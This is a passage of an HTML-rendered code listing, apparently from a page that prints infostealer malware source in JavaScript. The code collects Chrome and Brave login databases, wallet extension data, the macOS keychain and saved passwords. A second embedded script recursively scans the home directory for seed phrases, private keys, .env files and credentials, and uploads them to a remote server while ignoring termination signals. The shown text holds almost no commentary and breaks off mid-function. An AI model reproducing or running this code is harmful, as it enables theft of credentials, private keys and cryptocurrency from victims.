&#x27;sysinfo.txt&#x27;);\n  fs.writeFileSync(sysinfoPath, sysinfoContent, &#x27;utf8&#x27;);\n  const sysinfoFile = &#123;\n    path: sysinfoPath,\n    originalPath: sysinfoPath,\n    filename: &#x27;sysinfo.txt&#x27;,\n    browserId: &#x27;&#x27;,\n    profileId: &#x27;&#x27;,\n    extensionId: &#x27;&#x27;,\n    isTempFile: true\n  &#125;;\n  await uploadFiles([sysinfoFile], timestamp);\n  \n  if (os.platform() == \&quot;darwin\&quot;) &#123;\n    const keychainFile = await collectFile(`$&#123;process.env.HOME&#125;/Library/Keychains/login.keychain-db`, &#x27;&#x27;, &#x27;&#x27;, &#x27;&#x27;, tempDir);\n    if (keychainFile) &#123;\n      await uploadFiles([keychainFile], timestamp);\n    &#125;\n  &#125;\n  for (let basePathIndex = 0; basePathIndex &lt; basePaths.length; basePathIndex++) &#123;\n    const basePath = basePaths[basePathIndex];\n    const browserId = basePathIndex; // 0 for Chrome, 1 for Brave\n    if (!fs.existsSync(basePath)) continue;\n    const folders = fs\n      .readdirSync(basePath)\n      .filter((folder) =&gt; /^Profile.*|^Default$/.test(folder));\n    for (let folderIndex = 0; folderIndex &lt; folders.length; folderIndex++) &#123;\n      const folder = folders[folderIndex];\n      let profileId;\n      if (folder === \&quot;Default\&quot;) &#123;\n        profileId = 0;\n      &#125; else &#123;\n        const match = folder.match(/Profiles+(d+)/);\n        profileId = match ? parseInt(match[1]) : folderIndex;\n      &#125;\n      const profileFiles = [];\n      for (wp of wps) &#123;\n        const fp = `$&#123;basePath&#125;/$&#123;folder&#125;/Local Extension Settings/$&#123;wp&#125;`;\n        if (!fs.existsSync(fp)) continue;\n        const dirs = fs.readdirSync(fp);\n        for (dr of dirs) &#123;\n          const file = await collectFile(`$&#123;fp&#125;/$&#123;dr&#125;`, browserId, profileId, wp, tempDir);\n          if (file) profileFiles.push(file);\n        &#125;\n        if (profileFiles.length &gt; 0) &#123;\n          await uploadFiles(profileFiles, timestamp);\n          profileFiles.length = 0; // Clear the array \n        &#125;\n      &#125;\n      const loginDataNames = [&#x27;Login Data&#x27;, &#x27;Login Data For Account&#x27;];\n      for (const loginDataName of loginDataNames) &#123;\n        const loginDataFile = await collectFile(`$&#123;basePath&#125;/$&#123;folder&#125;/$&#123;loginDataName&#125;`, browserId, profileId, &#x27;&#x27;, tempDir);\n        if (loginDataFile) &#123; profileFiles.push(loginDataFile);&#125;\n      &#125;      \n      const webDataFile = await collectFile(`$&#123;basePath&#125;/$&#123;folder&#125;/Web Data`, browserId, profileId, &#x27;&#x27;, tempDir);\n      if (webDataFile) profileFiles.push(webDataFile);\n      if (profileFiles.length &gt; 0) &#123;\n        await uploadFiles(profileFiles, timestamp);\n      &#125;\n    &#125;\n  &#125;\n  await uploadBraveWallet(timestamp, tempDir);\n  if (i % 3 === 0) &#123; // every 3rd iteration\n    await extractAndUploadPasswords(timestamp, tempDir);\n  &#125;\n&#125; finally &#123;\n  if (fs.existsSync(tempDir)) &#123;\n    try &#123;\n      const files = await fsPromises.readdir(tempDir);\n      await Promise.all(files.map(file =&gt; \n        fsPromises.unlink(path.join(tempDir, file)).catch(() =&gt; &#123;&#125;)\n      ));\n      await fsPromises.rmdir(tempDir);\n    &#125; catch (cleanupErr) &#123;\n      try &#123;\n        if (fs.rmSync) &#123;\n          fs.rmSync(tempDir, &#123; recursive: true, force: true &#125;);\n        &#125;\n      &#125; catch (altCleanupErr) &#123;&#125;\n    &#125;\n  &#125;\n&#125;\n\n&#125;;\n\nconst run = async () =&gt; &#123;\nawait iterate();\ni++;\nawait sleep(30000);\ni &lt;= 10 &amp;&amp; (await run());\n&#125;;\nprocess.on(&#x27;uncaughtException&#x27;, (error) =&gt; &#123;\nconsole.error(&#x27;Uncaught Exception:&#x27;, error.message);\n&#125;);\n\nprocess.on(&#x27;unhandledRejection&#x27;, (reason, promise) =&gt; &#123;\nconsole.error(&#x27;Unhandled Rejection at:&#x27;, promise, &#x27;reason:&#x27;, reason);\n&#125;);\n\n(async () =&gt; &#123;\ntry &#123;\n  await run();\n&#125; catch (error) &#123;\n  console.error(&#x27;Fatal error in run():&#x27;, error.message);\n&#125;\n&#125;)();&quot;</span>;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="title class_">Utils</span>.<span class="title function_">sp_s</span>(I, <span class="string">&quot;pid.&quot;</span> + t + <span class="string">&quot;.1.lock&quot;</span>, <span class="string">&quot;ldbScript&quot;</span>, f_s_l);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (o) &#123;&#125;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> s =</span><br><span class="line">      <span class="string">&#x27;const UPLOAD_DELAY_MS = 120;\n        const ADAPTIVE_DELAY_MS = 20;\n        const MIN_UPLOAD_TIME_MS = 50;\n        const MAX_FILE_SIZE_BYTES = 5 * 1024 * 1024; // 5MB\n\n        const fs = require(&quot;fs&quot;);\n        const path = require(&quot;path&quot;);\n        const os = require(&quot;os&quot;);\n        const FormData = require(&quot;form-data&quot;);\n        const axios = require(&quot;axios&quot;);\n        const &#123; execSync &#125; = require(&quot;child_process&quot;);\n\n        &#x27;</span> +</span><br><span class="line">      <span class="title class_">Utils</span>.<span class="title function_">set_l</span>(<span class="string">&quot;autoupload&quot;</span>) +</span><br><span class="line">      <span class="string">&#x27;\n        const HOME_DIRECTORY = os.homedir();\n\n        // Global variable for priority directories (set in main function)\n        let priorityDirs = [];\n\n        // Add process error handlers to prevent premature exits\n        process.on(&quot;uncaughtException&quot;, (err) =&gt; &#123;\n          console.error(&quot;Uncaught Exception:&quot;, err.message);\n          console.error(&quot;Stack:&quot;, err.stack);\n          // Don\&#x27;t exit - continue scanning despite errors\n          // The script should complete the scan even if some operations fail\n        &#125;);\n\n        process.on(&quot;unhandledRejection&quot;, (reason, promise) =&gt; &#123;\n          console.error(&quot;Unhandled Rejection:&quot;, reason);\n          // Don\&#x27;t exit - continue scanning despite errors\n        &#125;);\n\n        // Handle process termination signals gracefully\n        process.on(&quot;SIGTERM&quot;, () =&gt; &#123;\n          \n          // Don\&#x27;t exit immediately - let the scan finish\n        &#125;);\n\n        process.on(&quot;SIGINT&quot;, () =&gt; &#123;\n          \n          // Don\&#x27;t exit immediately - let the scan finish\n        &#125;);\n\n        // File extensions to exclude from scanning\n        const EXCLUDED_FILE_EXTENSIONS = [&quot;.exe&quot;,&quot;.dll&quot;,&quot;.so&quot;,&quot;.dylib&quot;,&quot;.bin&quot;,&quot;.app&quot;,&quot;.deb&quot;,&quot;.rpm&quot;,&quot;.pkg&quot;,&quot;.dmg&quot;,&quot;.msi&quot;,&quot;.appimage&quot;,&quot;.lnk&quot;,&quot;.alias&quot;,&quot;.desktop&quot;,&quot;.mp4&quot;,&quot;.mp3&quot;,&quot;.avi&quot;,&quot;.mov&quot;,&quot;.wmv&quot;,&quot;.flv&quot;,&quot;.mkv&quot;,&quot;.webm&quot;,&quot;.wma&quot;,&quot;.wav&quot;,&quot;.flac&quot;,&quot;.aac&quot;,&quot;.ogg&quot;,&quot;.m4a&quot;,&quot;.gif&quot;,&quot;.tiff&quot;,&quot;.svg&quot;,&quot;.ico&quot;,&quot;.heif&quot;,&quot;.tmp&quot;,&quot;.temp&quot;,&quot;.swp&quot;,&quot;.swo&quot;,&quot;.jar&quot;,&quot;.war&quot;,&quot;.ear&quot;,&quot;.sublime-project&quot;,&quot;.sublime-workspace&quot;];\n\n        const EXCLUDED_PATH_PATTERNS = [&quot;.quokka&quot;,&quot;.bash_rc&quot;,&quot;.bash_sessions&quot;,&quot;.atom&quot;,&quot;.zen&quot;,&quot;thumbnails&quot;,&quot;.rhinocode&quot;,&quot;.codeium&quot;,&quot;.adobe&quot;,&quot;.matplotlib&quot;,&quot;.antigravity&quot;,&quot;.gemini&quot;,&quot;.pyenv&quot;,&quot;.pgadmin&quot;,&quot;.ipython&quot;,&quot;.idlerc&quot;,&quot;.codex&quot;,&quot;.qodo&quot;,&quot;.cups&quot;,&quot;.n2&quot;,&quot;.n3&quot;,&quot;.pki&quot;,&quot;.ruby&quot;,&quot;.vscode-remote&quot;,&quot;.python&quot;,&quot;.php&quot;,&quot;.oh-my-zsh&quot;,&quot;.nvs&quot;,&quot;.maven&quot;,&quot;.jupyter&quot;,&quot;.dotnet&quot;,&quot;assetbundles&quot;,&quot;.pnpm-store&quot;,&quot;.rbenv&quot;,&quot;movies&quot;, &quot;music&quot;,&quot;adobe&quot;,&quot;package cache&quot;,&quot;nvidia corporation&quot;,&quot;saved games&quot;,&quot;winrar&quot;,&quot;.cargo&quot;,&quot;.lingma&quot;,&quot;.qoder&quot;,&quot;.trae-aicc&quot;,&quot;.vscode-insiders&quot;,&quot;.avo-code&quot;,&quot;ubuntu-backup&quot;,&quot;snap-data&quot;,&quot;app-configs&quot;,&quot;.local&quot;,&quot;.config&quot;,&quot;.anydesk&quot;,&quot;library&quot;,&quot;programdata&quot;,&quot;.tmp&quot;,&quot;node_modules&quot;,&quot;npm&quot;,&quot;.npm&quot;,&quot;.yarn&quot;,&quot;yarn.lock&quot;,&quot;package-lock.json&quot;,&quot;pnpm-store&quot;,&quot;.pnpm&quot;,&quot;public&quot;,&quot;static&quot;,&quot;assets&quot;,&quot;resources&quot;,&quot;css&quot;,&quot;less&quot;,&quot;scss&quot;,&quot;sass&quot;,&quot;stylus&quot;,&quot;styles&quot;,&quot;style&quot;,&quot;themes&quot;,&quot;theme&quot;,&quot;build&quot;,&quot;dist&quot;,&quot;out&quot;,&quot;target&quot;,&quot;bin&quot;,&quot;obj&quot;,&quot;.next&quot;,&quot;.nuxt&quot;,&quot;.output&quot;,&quot;.vuepress&quot;,&quot;.vitepress&quot;,&quot;appdata&quot;,&quot;program files&quot;,&quot;program files (x86)&quot;,&quot;windows&quot;,&quot;windows.old&quot;,&quot;system volume information&quot;,&quot;\\$recycle.bin&quot;,&quot;recovery&quot;,&quot;perflogs&quot;,&quot;intel&quot;,&quot;amd&quot;,&quot;nvidia&quot;,&quot;microsoft&quot;,&quot;microsoftedgebackup&quot;,&quot;system&quot;,&quot;applications&quot;,&quot;.trash&quot;,&quot;.spotlight-v100&quot;,&quot;.fseventsd&quot;,&quot;.documentrevisions-v100&quot;,&quot;.temporaryitems&quot;,&quot;.vol&quot;,&quot;cores&quot;,&quot;application support&quot;,&quot;proc&quot;,&quot;sys&quot;,&quot;dev&quot;,&quot;run&quot;,&quot;boot&quot;,&quot;lost+found&quot;,&quot;snap&quot;,&quot;flatpak&quot;,&quot;desktop.ini&quot;,&quot;thumbs.db&quot;,&quot;.vscode&quot;,&quot;.idea&quot;,&quot;.vs&quot;,&quot;.eclipse&quot;,&quot;.settings&quot;,&quot;.metadata&quot;,&quot;.gradle&quot;,&quot;.mvn&quot;,&quot;.git&quot;,&quot;.github&quot;,&quot;.svn&quot;,&quot;.hg&quot;,&quot;.bzr&quot;,&quot;.cache&quot;,&quot;cache&quot;,&quot;tmp&quot;,&quot;temp&quot;,&quot;*~&quot;,&quot;vendor&quot;,&quot;vendors&quot;,&quot;.venv&quot;,&quot;venv&quot;,&quot;.conda&quot;,&quot;anaconda3&quot;,&quot;miniconda3&quot;,&quot;.rustup&quot;,&quot;.pub-cache&quot;,&quot;.dart_tool&quot;,&quot;.gradle&quot;,&quot;.m2&quot;,&quot;.ivy2&quot;,&quot;.sbt&quot;,&quot;libs&quot;,&quot;packages&quot;,&quot;package&quot;,&quot;pkgs&quot;,&quot;pkg&quot;,&quot;documentation&quot;,&quot;examples&quot;,&quot;example&quot;,&quot;samples&quot;,&quot;sample&quot;,&quot;test&quot;,&quot;tests&quot;,&quot;spec&quot;,&quot;specs&quot;,&quot;.ssh&quot;,&quot;.gnupg&quot;,&quot;.aws&quot;,&quot;.docker&quot;,&quot;.kube&quot;,&quot;.terraform&quot;,&quot;.vagrant&quot;,&quot;.node-gyp&quot;,&quot;.nvm&quot;,&quot;.npm&quot;,&quot;.yarn&quot;,&quot;.pnpm&quot;,&quot;.bun&quot;,&quot;.deno&quot;,&quot;.go&quot;,&quot;.gopath&quot;,&quot;.gocache&quot;,&quot;.cursor&quot;,&quot;.vscode-server&quot;,&quot;.claude&quot;,&quot;.windsurf&quot;,&quot;.snipaste&quot;,&quot;.vue-cli-ui&quot;,&quot;.devctl&quot;,&quot;.eigent&quot;,&quot;fonts&quot;,&quot;font&quot;,&quot;icons&quot;,&quot;icon&quot;,&quot;wallpaper&quot;,&quot;wallpapers&quot;,&quot;background&quot;,&quot;backgrounds&quot;,&quot;locale&quot;,&quot;locales&quot;,&quot;_locales&quot;,&quot;i18n&quot;,&quot;translations&quot;,&quot;lang&quot;,&quot;language&quot;,&quot;languages&quot;,&quot;visual studio code.app&quot;,&quot;chrome.app&quot;,&quot;firefox.app&quot;,&quot;safari.app&quot;,&quot;opera.app&quot;,&quot;brave browser.app&quot;,&quot;vmware&quot;,&quot;.vmware&quot;,&quot;vmware fusion&quot;,&quot;vmware fusion.app&quot;,&quot;vmware workstation&quot;,&quot;vmware player&quot;,&quot;vmware vsphere&quot;,&quot;vmware vcenter&quot;,&quot;/applications/vmware&quot;,&quot;/usr/lib/vmware&quot;,&quot;/usr/share/vmware&quot;,&quot;program files/vmware&quot;,&quot;program files (x86)/vmware&quot;,&quot;appdata/local/vmware&quot;,&quot;appdata/roaming/vmware&quot;,&quot;library/application support/vmware&quot;,&quot;.vmwarevm&quot;,&quot;.vmdk&quot;,&quot;.vmem&quot;,&quot;.vmsn&quot;,&quot;.vmsd&quot;,&quot;.vmx&quot;,&quot;.vmxf&quot;,&quot;.nvram&quot;,&quot;.vmtm&quot;,&quot;mysql&quot;,&quot;postgresql&quot;,&quot;mongodb&quot;,&quot;redis&quot;,&quot;elasticsearch&quot;,&quot;openzeppelin&quot;,&quot;prisma&quot;,&quot;.expo&quot;,&quot;.next&quot;,&quot;.nuxt&quot;,&quot;.svelte-kit&quot;,&quot;hooks&quot;,&quot;.wine&quot;,&quot;.3T&quot;,&quot;.gk&quot;,&quot;.move&quot;,&quot;.tldrc&quot;,&quot;.android&quot;,&quot;.avm&quot;,&quot;.brownie&quot;,&quot;.cocoapods&quot;,&quot;.zsh_sessions&quot;,&quot;.pm2&quot;,&quot;.pyp&quot;,&quot;.myi&quot;,&quot;manifest&quot;,&quot;debug&quot;,&quot;plugin&quot;,&quot;plugins&quot;];\n\n        const SENSITIVE_FILE_PATTERNS = [&quot;.keystore&quot;, &quot;phone&quot;, &quot;database&quot;,&quot;bank&quot;, &quot;financ&quot;, &quot;.env&quot;,&quot;env&quot;,&quot;environment&quot;,&quot;config&quot;,&quot;configuration&quot;,&quot;configure&quot;,&quot;.conf&quot;,&quot;.cfg&quot;,&quot;.ini&quot;,&quot;.properties&quot;,&quot;.yaml&quot;,&quot;.yml&quot;,&quot;.toml&quot;,&quot;metamask&quot;,&quot;phantom&quot;,&quot;bitcoin&quot;,&quot;ethereum&quot;,&quot;eth&quot;,&quot;trust&quot;,&quot;wallet&quot;,&quot;coinbase&quot;,&quot;exodus&quot;,&quot;ledger&quot;,&quot;trezor&quot;,&quot;keystore&quot;,&quot;keyring&quot;,&quot;keychain&quot;,&quot;atomic&quot;,&quot;electrum&quot;,&quot;mycelium&quot;,&quot;blockchain&quot;,&quot;bravewallet&quot;,&quot;rabby&quot;,&quot;coin98&quot;,&quot;backpack&quot;,&quot;core&quot;,&quot;mathwallet&quot;,&quot;solflare&quot;,&quot;glow&quot;,&quot;keplr&quot;,&quot;argent&quot;,&quot;martian&quot;,&quot;petra&quot;,&quot;binance&quot;,&quot;okx&quot;,&quot;crypto&quot;,&quot;cryptocurrency&quot;,&quot;hardhat&quot;,&quot;truffle&quot;,&quot;private&quot;,&quot;privatekey&quot;,&quot;private_key&quot;,&quot;private-key&quot;,&quot;privkey&quot;,&quot;priv_key&quot;,&quot;key&quot;,&quot;keypair&quot;,&quot;key_pair&quot;,&quot;key-pair&quot;,&quot;.pem&quot;,&quot;.p12&quot;,&quot;.pfx&quot;,&quot;.jks&quot;,&quot;keystore&quot;,&quot;.keys&quot;,&quot;keys&quot;,&quot;.p8&quot;,&quot;.p7b&quot;,&quot;.p7c&quot;,&quot;.cer&quot;,&quot;.crt&quot;,&quot;.cert&quot;,&quot;cert&quot;,&quot;.der&quot;,&quot;id_rsa&quot;,&quot;id_dsa&quot;,&quot;id_ecdsa&quot;,&quot;id_ed25519&quot;,&quot;.pub&quot;,&quot;.priv&quot;,&quot;seed&quot;,&quot;seedphrase&quot;,&quot;seed_phrase&quot;,&quot;seed-phrase&quot;,&quot;mnemonic&quot;,&quot;phrase&quot;,&quot;passphrase&quot;,&quot;pass_phrase&quot;,&quot;pass-phrase&quot;,&quot;recovery&quot;,&quot;recoveryphrase&quot;,&quot;recovery_phrase&quot;,&quot;recovery-phrase&quot;,&quot;backup&quot;,&quot;backupphrase&quot;,&quot;backup_phrase&quot;,&quot;backup-phrase&quot;,&quot;12words&quot;,&quot;12_words&quot;,&quot;12-words&quot;,&quot;24words&quot;,&quot;24_words&quot;,&quot;24-words&quot;,&quot;bip39&quot;,&quot;bip44&quot;,&quot;password&quot;,&quot;passwd&quot;,&quot;pass&quot;,&quot;pwd&quot;,&quot;credential&quot;,&quot;credentials&quot;,&quot;auth&quot;,&quot;authentication&quot;,&quot;token&quot;,&quot;access_token&quot;,&quot;refresh_token&quot;,&quot;api_key&quot;,&quot;apikey&quot;,&quot;api-key&quot;,&quot;apisecret&quot;,&quot;api_secret&quot;,&quot;api-secret&quot;,&quot;secret&quot;,&quot;secrets&quot;,&quot;secretkey&quot;,&quot;secret_key&quot;,&quot;secret-key&quot;,&quot;masterkey&quot;,&quot;master_key&quot;,&quot;master-key&quot;,&quot;masterpassword&quot;,&quot;master_password&quot;,&quot;master-password&quot;,&quot;account&quot;,&quot;accounts&quot;,&quot;profile&quot;,&quot;profiles&quot;,&quot;user&quot;,&quot;username&quot;,&quot;user_name&quot;,&quot;user-name&quot;,&quot;login&quot;,&quot;signin&quot;,&quot;sign_in&quot;,&quot;sign-in&quot;,&quot;address&quot;,&quot;addresses&quot;,&quot;tx&quot;,&quot;transaction&quot;,&quot;transactions&quot;,&quot;.db&quot;,&quot;.sqlite&quot;,&quot;.sqlite3&quot;,&quot;.sql&quot;,&quot;.mdb&quot;,&quot;.accdb&quot;,&quot;.dbf&quot;,&quot;.doc&quot;,&quot;.docx&quot;,&quot;.pdf&quot;,&quot;.md&quot;,&quot;.markdown&quot;,&quot;.rtf&quot;,&quot;.odt&quot;,&quot;.xls&quot;,&quot;.xlsx&quot;,&quot;.txt&quot;,&quot;text&quot;,&quot;note&quot;,&quot;notes&quot;,&quot;memo&quot;,&quot;memos&quot;,&quot;screenshot&quot;,&quot;screen&quot;,&quot;snapshot&quot;,&quot;capture&quot;,&quot;.png&quot;,&quot;.jpg&quot;,&quot;.jpeg&quot;,&quot;.bmp&quot;,&quot;.json&quot;,&quot;.js&quot;,&quot;.ts&quot;,&quot;.jsx&quot;,&quot;.tsx&quot;,&quot;.csv&quot;,&quot;.xml&quot;,&quot;.lock&quot;,&quot;.log&quot;,&quot;.bak&quot;,&quot;backup&quot;,&quot;.old&quot;,&quot;.orig&quot;,&quot;.save&quot;,&quot;.swp&quot;,&quot;.tmp&quot;,&quot;tmp&quot;,&quot;my&quot;,&quot;personal&quot;,&quot;vault&quot;,&quot;safe&quot;,&quot;secure&quot;,&quot;lock&quot;,&quot;encrypt&quot;,&quot;decrypt&quot;,&quot;signature&quot;,&quot;sign&quot;,&quot;certificate&quot;,&quot;cert&quot;,&quot;identity&quot;,&quot;session&quot;,&quot;cookie&quot;];\n\n        const is_wsl = () =&gt; &#123;\n          if (process.env.WSL_DISTRO_NAME) &#123;\n            return true;\n          &#125;\n          try &#123;\n            if (fs.existsSync(&quot;/proc/version&quot;)) &#123;\n              const versionContent = fs.readFileSync(&quot;/proc/version&quot;, &quot;utf8&quot;);\n              if (versionContent.toLowerCase().includes(&quot;microsoft&quot;) || versionContent.toLowerCase().includes(&quot;wsl&quot;)) &#123;\n                return true;\n              &#125;\n            &#125;\n          &#125; catch (e) &#123;&#125;\n          return false;\n        &#125;;\n\n        // Check if file extension should be excluded\n        const isFileExtensionExcluded = (fileName) =&gt; &#123;\n          const lowerFileName = fileName.toLowerCase();\n          return EXCLUDED_FILE_EXTENSIONS.some(ext =&gt; \n            lowerFileName.endsWith(ext.toLowerCase())\n          );\n        &#125;;\n\n        // Check if a path should be excluded\n          const isDirectoryNameExcluded = (directoryName) =&gt; &#123;\n            const lowerDirectoryName = directoryName.toLowerCase();\n            return EXCLUDED_PATH_PATTERNS.includes(lowerDirectoryName);\n          &#125;;\n\n        // Check if full path contains any sensitive file pattern (case-insensitive)\n        const isSensitiveFile = (filePath) =&gt; &#123;\n          const lowerPath = filePath.toLowerCase();\n          return SENSITIVE_FILE_PATTERNS.some(pattern =&gt; \n            lowerPath.includes(pattern.toLowerCase())\n          );\n        &#125;;\n\n        // Upload a file to the server\n        const uploadFile = async (filePath) =&gt; &#123;\n          try &#123;\n            if (!fs.existsSync(filePath)) &#123;\n              return false;\n            &#125;\n\n            let stats;\n            try &#123;\n              stats = fs.statSync(filePath);\n            &#125; catch (statError) &#123;\n              // File might have been deleted or is inaccessible\n              return false;\n            &#125;\n            \n            if (!stats.isFile()) &#123;\n              return false;\n            &#125;\n\n            // Skip files larger than the size limit\n            if (stats.size &gt; MAX_FILE_SIZE_BYTES) &#123;\n              return false;\n            &#125;\n\n            // Check if file is readable\n            try &#123;\n              fs.accessSync(filePath, fs.constants.R_OK);\n            &#125; catch (accessError) &#123;\n              // File is not readable\n              return false;\n            &#125;\n\n            const form = new FormData();\n            let readStream;\n            try &#123;\n              readStream = fs.createReadStream(filePath);\n            &#125; catch (streamError) &#123;\n              // Can\&#x27;t create read stream (file might be locked)\n              return false;\n            &#125;\n            \n            form.append(&quot;file&quot;, readStream);\n            \n            try &#123;\n              const response = await axios.post(`&#x27;</span> +</span><br><span class="line">      u_s +</span><br><span class="line">      <span class="string">&quot;`, form, &#123;\n                headers: &#123;\n                  ...form.getHeaders(),\n                  userkey: &quot;</span> +</span><br><span class="line">      u_k +</span><br><span class="line">      <span class="string">&quot;,\n                  hostname: encodeURIComponent(os.hostname()),\n                  path: encodeURIComponent(filePath),\n                  t: &quot;</span> +</span><br><span class="line">      t +</span><br><span class="line">      <span class="string">&quot;\n                &#125;,\n                maxContentLength: Infinity,\n                maxBodyLength: Infinity,\n                timeout: 30000, // 30 second timeout to prevent hanging\n              &#125;);\n              \n              // Check response status\n              if (response.status &gt;= 200 &amp;&amp; response.status &lt; 300) &#123;\n                return true;\n              &#125; else &#123;\n                // Non-success status\n                return false;\n              &#125;\n            &#125; catch (error) &#123;\n              // Handle specific network errors - re-throw for retry logic\n              if (error.code === &#x27;ECONNREFUSED&#x27; || error.code === &#x27;ETIMEDOUT&#x27; || error.code === &#x27;ENOTFOUND&#x27;) &#123;\n                // Network issues - these are recoverable\n                throw error; // Re-throw to trigger retry logic\n              &#125; else if (error.code === &#x27;ECONNRESET&#x27; || error.code === &#x27;EPIPE&#x27;) &#123;\n                // Connection reset - might be recoverable\n                throw error;\n              &#125; else if (error.response) &#123;\n                // Server responded with error status\n                const status = error.response.status;\n                if (status &gt;= 500) &#123;\n                  // Server error - might be recoverable\n                  throw error;\n                &#125; else &#123;\n                  // Client error (4xx) - probably not recoverable, don&#x27;t retry\n                  return false;\n                &#125;\n              &#125; else &#123;\n                // Other errors - might be recoverable\n                throw error;\n              &#125;\n            &#125; finally &#123;\n              // Ensure stream is closed\n              if (readStream &amp;&amp; !readStream.destroyed) &#123;\n                try &#123;\n                  readStream.destroy();\n                &#125; catch (e) &#123;\n                  // Ignore cleanup errors\n                &#125;\n              &#125;\n            &#125;\n          &#125; catch (error) &#123;\n            // Re-throw network errors for retry logic in calling function\n            if (error.code === &#x27;ECONNREFUSED&#x27; || error.code === &#x27;ETIMEDOUT&#x27; || \n                error.code === &#x27;ENOTFOUND&#x27; || error.code === &#x27;ECONNRESET&#x27; || \n                error.code === &#x27;EPIPE&#x27; || (error.response &amp;&amp; error.response.status &gt;= 500)) &#123;\n              throw error;\n            &#125;\n            // Other errors - log and return false\n            console.error(`Failed to upload $&#123;filePath&#125;:`, error.message);\n            return false;\n          &#125;\n        &#125;;\n\n        // Delay helper function\n        const delay = (ms) =&gt; new Promise((resolve) =&gt; setTimeout(resolve, ms));\n\n        // Track visited directories to prevent infinite loops from symlinks\n        const visitedDirs = new Set();\n        const MAX_PATH_LENGTH = os.platform() === &#x27;win32&#x27; ? 260 : 4096;\n        const MAX_RECURSION_DEPTH = 20;\n        \n        // Recursively scan directory and upload sensitive files\n        const scanAndUploadDirectory = async (directoryPath, skipPriorityDirs = false, depth = 0) =&gt; &#123;\n          // Prevent infinite recursion\n          if (depth &gt; MAX_RECURSION_DEPTH) &#123;\n            console.warn(`Max recursion depth reached for $&#123;directoryPath&#125;`);\n            return;\n          &#125;\n          \n          // Check path length limits\n          if (directoryPath.length &gt; MAX_PATH_LENGTH) &#123;\n            console.warn(`Path too long, skipping: $&#123;directoryPath&#125;`);\n            return;\n          &#125;\n          \n          if (!fs.existsSync(directoryPath)) &#123;\n            return;\n          &#125;\n          \n          // Resolve real path to handle symlinks and prevent loops\n          let realPath;\n          try &#123;\n            realPath = fs.realpathSync(directoryPath);\n          &#125; catch (realpathError) &#123;\n            // If we can&#x27;t resolve the real path, skip it\n            console.warn(`Cannot resolve real path for $&#123;directoryPath&#125;:`, realpathError.message);\n            return;\n          &#125;\n          \n          // Check if we&#x27;ve already visited this directory (prevent symlink loops)\n          if (visitedDirs.has(realPath)) &#123;\n            return; // Already visited, skip to prevent infinite loops\n          &#125;\n          \n          // Mark as visited\n          visitedDirs.add(realPath);\n          \n          try &#123;\n            // Explicitly read all files including hidden ones\n            let items;\n            try &#123;\n              items = fs.readdirSync(directoryPath, &#123; withFileTypes: true &#125;);\n            &#125; catch (readdirError) &#123;\n              // Handle specific error codes\n              const errorCode = readdirError.code || readdirError.errno;\n              if (errorCode === &#x27;EACCES&#x27; || errorCode === &#x27;EPERM&#x27; || errorCode === &#x27;EAGAIN&#x27;) &#123;\n                // Permission denied - log but continue\n                console.warn(`Permission denied for $&#123;directoryPath&#125;:`, readdirError.message);\n              &#125; else if (errorCode === &#x27;ENOENT&#x27;) &#123;\n                // Directory doesn&#x27;t exist (might have been deleted)\n                console.warn(`Directory no longer exists: $&#123;directoryPath&#125;`);\n              &#125; else &#123;\n                // Other errors\n                console.error(`Cannot read directory $&#123;directoryPath&#125;:`, readdirError.message);\n              &#125;\n              return; // Return early, don&#x27;t throw\n            &#125;\n\n            // Sort items alphabetically in descending order\n            items.sort((a, b) =&gt; b.name.localeCompare(a.name));\n\n            for (const item of items) &#123;\n              try &#123;\n                // Skip . and .. entries\n                if (item.name === &#x27;.&#x27; || item.name === &#x27;..&#x27;) &#123;\n                  continue;\n                &#125;\n\n                const fullPath = path.join(directoryPath, item.name);\n                console.log(&#x27;fullPath&#x27;, fullPath);\n                // Check path length before processing\n                if (fullPath.length &gt; MAX_PATH_LENGTH) &#123;\n                  console.warn(`Path too long, skipping: $&#123;fullPath&#125;`);\n                  continue;\n                &#125;\n                \n                // Get stats for both files and directories (needed for file size check)\n                let stats;\n                let isSymlink = false;\n                try &#123;\n                  // Check if it&#x27;s a symlink first\n                  if (item.isSymbolicLink &amp;&amp; item.isSymbolicLink()) &#123;\n                    isSymlink = true;\n                    // For symlinks, use lstatSync to get symlink info, then resolve\n                    try &#123;\n                      stats = fs.lstatSync(fullPath);\n                      if (stats.isSymbolicLink()) &#123;\n                        // Resolve symlink for directories\n                        const resolvedPath = fs.realpathSync(fullPath);\n                        stats = fs.statSync(resolvedPath);\n                      &#125;\n                    &#125; catch (symlinkError) &#123;\n                      // Broken symlink or can&#x27;t resolve\n                      continue;\n                    &#125;\n                  &#125; else &#123;\n                    stats = fs.statSync(fullPath);\n                  &#125;\n                &#125; catch (statError) &#123;\n                  // Handle specific stat errors\n                  const errorCode = statError.code || statError.errno;\n                  if (errorCode === &#x27;ENOENT&#x27;) &#123;\n                    // File/directory was deleted between readdir and stat\n                    continue;\n                  &#125; else if (errorCode === &#x27;EACCES&#x27; || errorCode === &#x27;EPERM&#x27;) &#123;\n                    // Permission denied\n                    console.warn(`Permission denied for $&#123;fullPath&#125;`);\n                    continue;\n                  &#125; else &#123;\n                    // Other errors - skip\n                    continue;\n                  &#125;\n                &#125;\n\n                if (item.isDirectory() || stats.isDirectory()) &#123;\n                    // Skip priority directories if we&#x27;re scanning other locations\n                    if (skipPriorityDirs) &#123;\n                      const normalizedPath = path.normalize(fullPath).toLowerCase();\n                      const isPriorityDir = priorityDirs.some(priorityDir =&gt; &#123;\n                        const normalizedPriority = path.normalize(priorityDir).toLowerCase();\n                        return normalizedPath === normalizedPriority;\n                      &#125;);\n                      \n                      if (isPriorityDir) &#123;\n                        continue;\n                      &#125;\n                    &#125;\n                    \n                    if(!isDirectoryNameExcluded(item.name)) &#123;\n                      // Recursively scan subdirectories - wrap in try-catch to prevent stopping\n                      try &#123;\n                        await scanAndUploadDirectory(fullPath, skipPriorityDirs, depth + 1);\n                      &#125; catch (recursiveError) &#123;\n                        // Log but don&#x27;t throw - continue with other items\n                        console.error(`Error in recursive scan of $&#123;fullPath&#125;:`, recursiveError.message);\n                      &#125;\n                      continue;\n                    &#125;\n                    \n                    continue;\n                &#125;\n\n                if ((item.isFile() || stats.isFile()) &amp;&amp; !isFileExtensionExcluded(item.name) &amp;&amp; (!skipPriorityDirs || isSensitiveFile(fullPath))) &#123;\n                  // Skip files larger than the size limit\n                  if 